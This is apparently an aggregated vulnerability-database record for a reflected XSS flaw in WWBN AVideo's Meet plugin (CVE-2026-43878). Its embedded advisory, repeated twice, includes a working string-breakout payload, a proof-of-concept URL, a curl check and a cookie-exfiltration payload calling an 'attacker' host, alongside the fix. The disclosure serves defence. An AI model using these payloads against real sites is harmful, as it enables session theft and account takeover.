{"id":"CVE-2026-43878","aliases":["EUVD-2026-29314","GHSA-mm5f-8q57-4fc4"],"status":"published","title":"WWBN AVideo: Reflected XSS in plugin/Meet/iframe.php via Unescaped `user`/`pass` Parameters Reflected into JavaScript String Literal","description":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a \u003cscript\u003e block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target. Commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b contains an updated fix.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00253,"percentile":0.16918,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-79"],"published":"2026-05-05T19:15:56Z","modified":"2026-10-28T02:30:32Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-mm5f-8q57-4fc4","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43878","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mm5f-8q57-4fc4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43878.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-43878","title":"WWBN AVideo: Reflected XSS in plugin/Meet/iframe.php via Unescaped `user`/`pass` Parameters Reflected into JavaScript String Literal","description":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a \u003cscript\u003e block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target. Commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b contains an updated fix.","status":"published","published":"2026-05-11T20:35:26.542Z","modified":"2026-05-12T13:22:58.173Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:37:25.103021Z"}],"euvd":[{"id":"EUVD-2026-29314","description":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a \u003cscript\u003e block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target. Commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b contains an updated fix.","status":"published","published":"2026-05-11T20:35:26Z","modified":"2026-05-12T13:22:58Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:04:37.66514Z"}],"ghsa":[{"id":"GHSA-mm5f-8q57-4fc4","title":"Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal","description":"## Summary\n\n`plugin/Meet/iframe.php` echoes the attacker-controlled `user` and `pass` query parameters unescaped into a JavaScript double-quoted string literal inside a `\u003cscript\u003e` block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.\n\n## Details\n\nRoot cause is a two-step reflection with no escaping applied at the HTML/JS sink.\n\n**Step 1 — `User::loginFromRequestToGet()` at `objects/user.php:3363-3373`** returns the raw concatenation of `$_REQUEST['user']` and `$_REQUEST['pass']` with no URL-encoding, HTML-escaping, or other sanitization:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST['user']) \u0026\u0026 !empty($_REQUEST['pass'])) {\n        $return = \"user={$_REQUEST['user']}\u0026pass={$_REQUEST['pass']}\";\n        if (!empty($_REQUEST['encodedPass'])) {\n            $return .= \"\u0026encodedPass=\" . intval($_REQUEST['encodedPass']);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\n**Step 2 — `plugin/Meet/iframe.php`** builds `$readyToClose` from that string and emits it into a JS string literal without escaping:\n\n```php\n// plugin/Meet/iframe.php:19-22\n$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19\n$readyToClose = User::getChannelLink($meet-\u003egetUsers_id()) . \"?{$userCredentials}\";\nif (Meet::isModerator($meet_schedule_id)) {\n    $readyToClose = \"{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}\";\n    ...\n}\n```\n\n```php\n// plugin/Meet/iframe.php:115-117\nfunction _readyToClose() {\n    document.location = \"\u003c?php echo $readyToClose; ?\u003e\";\n}\n```\n\nNote that `xss_esc()` IS applied a few lines earlier to the adjacent `nameIdentification` parameter (line 45) — the developer knew about XSS here but missed `$userCredentials`. No call to `json_encode`, `htmlspecialchars`, `xss_esc`, or `rawurlencode` is applied to `$readyToClose`.\n\n**Reachability to unauthenticated users.** `plugin/Meet/validateMeet.php` gates on `Meet::canJoinMeetWithReason()` and `Meet::validatePassword()`:\n\n- `Meet::canJoinMeetWithReason()` (`plugin/Meet/Meet.php:399-402`) returns `canJoin=true` for any visitor when the meet is public (`getPublic() == \"2\"`):\n  ```php\n  if ($meet-\u003egetPublic() == \"2\") {\n      $obj-\u003ecanJoin = true;\n      $obj-\u003ereason = \"Is public\";\n      return $obj;\n  }\n  ```\n- `Meet::validatePassword()` (`plugin/Meet/Meet.php:595-618`) returns `true` when the meet has no password set.\n- `validateMeet.php:27` only blocks unauthenticated users when `getPublic()` is empty.\n\nSo an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.\n\n**Payload construction.** With `user=\";}alert(1);function a(){\"` and `pass=x`, the rendered script becomes:\n\n```javascript\nfunction _readyToClose() {\n    document.location = \"CHANNEL_URL?user=\";}alert(1);function a(){\"\u0026pass=x\";\n}\n```\n\nParse flow:\n1. `document.location = \"CHANNEL_URL?user=\";` — assignment completes.\n2. `}` — closes `_readyToClose`.\n3. `alert(1);` — executes immediately at script parse/run time (does NOT require `_readyToClose` to be called).\n4. `function a(){\"\u0026pass=x\";}` — declares a harmless function that absorbs the trailing garbage.\n\n## PoC\n\n**Precondition:** one public Meet schedule with no password (or the attacker supplies `\u0026meet_password=\u003cknown\u003e` / is moderator/admin).\n\n1. Attacker sends victim the following URL:\n   ```\n   https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1\u0026user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22\u0026pass=x\n   ```\n   URL-decoded `user` payload: `\";}alert(1);function a(){\"`\n\n2. Server reflects the parameters unescaped into the script block on line 116.\n\n3. Victim's browser parses the script; `alert(1)` fires immediately on page load.\n\n4. Verification:\n   ```\n   $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1\u0026user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22\u0026pass=x' \\\n       | grep -A1 _readyToClose\n   function _readyToClose() {\n       document.location = \"https://TARGET/channel/...?user=\";}alert(1);function a(){\"\u0026pass=x\";\n   ```\n   The injected `\";}alert(1);function a(){\"` sequence appears verbatim in the response, closing the JS string and function and executing `alert(1)` at parse time.\n\n5. Realistic exploitation replaces `alert(1)` with a cookie-exfiltration payload:\n   ```\n   user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22\u0026pass=x\n   ```\n\n## Impact\n\nReflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:\n\n- Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just `/plugin/Meet/`).\n- Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).\n- Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).\n- Deliver phishing content under the trusted AVideo domain.\n\nThe attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.\n\n## Recommended Fix\n\nApply JSON encoding at the sink in `plugin/Meet/iframe.php:116` so the string is always a valid JS literal regardless of its contents:\n\n```php\nfunction _readyToClose() {\n    document.location = \u003c?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?\u003e;\n}\n```\n\nAdditionally, harden `User::loginFromRequestToGet()` (`objects/user.php:3363-3373`) to URL-encode the components so downstream sinks cannot be broken out of with `\"`, `\u003c`, or other control characters:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST['user']) \u0026\u0026 !empty($_REQUEST['pass'])) {\n        $return = \"user=\" . rawurlencode($_REQUEST['user'])\n                . \"\u0026pass=\" . rawurlencode($_REQUEST['pass']);\n        if (!empty($_REQUEST['encodedPass'])) {\n            $return .= \"\u0026encodedPass=\" . intval($_REQUEST['encodedPass']);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\nAudit every other caller of `loginFromRequestToGet()` (and any other function that returns raw `$_REQUEST['user']` / `$_REQUEST['pass']`) for similar sinks.","status":"published","published":"2026-05-05T19:15:56Z","modified":"2026-05-13T14:19:50Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:40:08.003212Z"}],"nvd":[{"id":"CVE-2026-43878","description":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a \u003cscript\u003e block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target. Commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b contains an updated fix.","status":"published","published":"2026-05-11T22:22:12.257Z","modified":"2026-10-26T18:10:00.173Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:18.239974Z"}],"osv":[{"id":"CVE-2026-43878","title":"WWBN AVideo: Reflected XSS in plugin/Meet/iframe.php via Unescaped `user`/`pass` Parameters Reflected into JavaScript String Literal","description":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a \u003cscript\u003e block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target. Commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b contains an updated fix.","status":"published","published":"2026-05-11T20:35:26.542Z","modified":"2026-10-28T02:30:32.646333187Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"GHSA-mm5f-8q57-4fc4","title":"Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal","description":"## Summary\n\n`plugin/Meet/iframe.php` echoes the attacker-controlled `user` and `pass` query parameters unescaped into a JavaScript double-quoted string literal inside a `\u003cscript\u003e` block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.\n\n## Details\n\nRoot cause is a two-step reflection with no escaping applied at the HTML/JS sink.\n\n**Step 1 — `User::loginFromRequestToGet()` at `objects/user.php:3363-3373`** returns the raw concatenation of `$_REQUEST['user']` and `$_REQUEST['pass']` with no URL-encoding, HTML-escaping, or other sanitization:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST['user']) \u0026\u0026 !empty($_REQUEST['pass'])) {\n        $return = \"user={$_REQUEST['user']}\u0026pass={$_REQUEST['pass']}\";\n        if (!empty($_REQUEST['encodedPass'])) {\n            $return .= \"\u0026encodedPass=\" . intval($_REQUEST['encodedPass']);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\n**Step 2 — `plugin/Meet/iframe.php`** builds `$readyToClose` from that string and emits it into a JS string literal without escaping:\n\n```php\n// plugin/Meet/iframe.php:19-22\n$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19\n$readyToClose = User::getChannelLink($meet-\u003egetUsers_id()) . \"?{$userCredentials}\";\nif (Meet::isModerator($meet_schedule_id)) {\n    $readyToClose = \"{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}\";\n    ...\n}\n```\n\n```php\n// plugin/Meet/iframe.php:115-117\nfunction _readyToClose() {\n    document.location = \"\u003c?php echo $readyToClose; ?\u003e\";\n}\n```\n\nNote that `xss_esc()` IS applied a few lines earlier to the adjacent `nameIdentification` parameter (line 45) — the developer knew about XSS here but missed `$userCredentials`. No call to `json_encode`, `htmlspecialchars`, `xss_esc`, or `rawurlencode` is applied to `$readyToClose`.\n\n**Reachability to unauthenticated users.** `plugin/Meet/validateMeet.php` gates on `Meet::canJoinMeetWithReason()` and `Meet::validatePassword()`:\n\n- `Meet::canJoinMeetWithReason()` (`plugin/Meet/Meet.php:399-402`) returns `canJoin=true` for any visitor when the meet is public (`getPublic() == \"2\"`):\n  ```php\n  if ($meet-\u003egetPublic() == \"2\") {\n      $obj-\u003ecanJoin = true;\n      $obj-\u003ereason = \"Is public\";\n      return $obj;\n  }\n  ```\n- `Meet::validatePassword()` (`plugin/Meet/Meet.php:595-618`) returns `true` when the meet has no password set.\n- `validateMeet.php:27` only blocks unauthenticated users when `getPublic()` is empty.\n\nSo an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.\n\n**Payload construction.** With `user=\";}alert(1);function a(){\"` and `pass=x`, the rendered script becomes:\n\n```javascript\nfunction _readyToClose() {\n    document.location = \"CHANNEL_URL?user=\";}alert(1);function a(){\"\u0026pass=x\";\n}\n```\n\nParse flow:\n1. `document.location = \"CHANNEL_URL?user=\";` — assignment completes.\n2. `}` — closes `_readyToClose`.\n3. `alert(1);` — executes immediately at script parse/run time (does NOT require `_readyToClose` to be called).\n4. `function a(){\"\u0026pass=x\";}` — declares a harmless function that absorbs the trailing garbage.\n\n## PoC\n\n**Precondition:** one public Meet schedule with no password (or the attacker supplies `\u0026meet_password=\u003cknown\u003e` / is moderator/admin).\n\n1. Attacker sends victim the following URL:\n   ```\n   https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1\u0026user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22\u0026pass=x\n   ```\n   URL-decoded `user` payload: `\";}alert(1);function a(){\"`\n\n2. Server reflects the parameters unescaped into the script block on line 116.\n\n3. Victim's browser parses the script; `alert(1)` fires immediately on page load.\n\n4. Verification:\n   ```\n   $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1\u0026user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22\u0026pass=x' \\\n       | grep -A1 _readyToClose\n   function _readyToClose() {\n       document.location = \"https://TARGET/channel/...?user=\";}alert(1);function a(){\"\u0026pass=x\";\n   ```\n   The injected `\";}alert(1);function a(){\"` sequence appears verbatim in the response, closing the JS string and function and executing `alert(1)` at parse time.\n\n5. Realistic exploitation replaces `alert(1)` with a cookie-exfiltration payload:\n   ```\n   user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22\u0026pass=x\n   ```\n\n## Impact\n\nReflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:\n\n- Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just `/plugin/Meet/`).\n- Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).\n- Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).\n- Deliver phishing content under the trusted AVideo domain.\n\nThe attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.\n\n## Recommended Fix\n\nApply JSON encoding at the sink in `plugin/Meet/iframe.php:116` so the string is always a valid JS literal regardless of its contents:\n\n```php\nfunction _readyToClose() {\n    document.location = \u003c?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?\u003e;\n}\n```\n\nAdditionally, harden `User::loginFromRequestToGet()` (`objects/user.php:3363-3373`) to URL-encode the components so downstream sinks cannot be broken out of with `\"`, `\u003c`, or other control characters:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST['user']) \u0026\u0026 !empty($_REQUEST['pass'])) {\n        $return = \"user=\" . rawurlencode($_REQUEST['user'])\n                . \"\u0026pass=\" . rawurlencode($_REQUEST['pass']);\n        if (!empty($_REQUEST['encodedPass'])) {\n            $return .= \"\u0026encodedPass=\" . intval($_REQUEST['encodedPass']);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\nAudit every other caller of `loginFromRequestToGet()` (and any other function that returns raw `$_REQUEST['user']` / `$_REQUEST['pass']`) for similar sinks.","status":"published","published":"2026-05-05T19:15:56Z","modified":"2026-05-13T14:33:42.401337Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:52.170928Z"}]}}
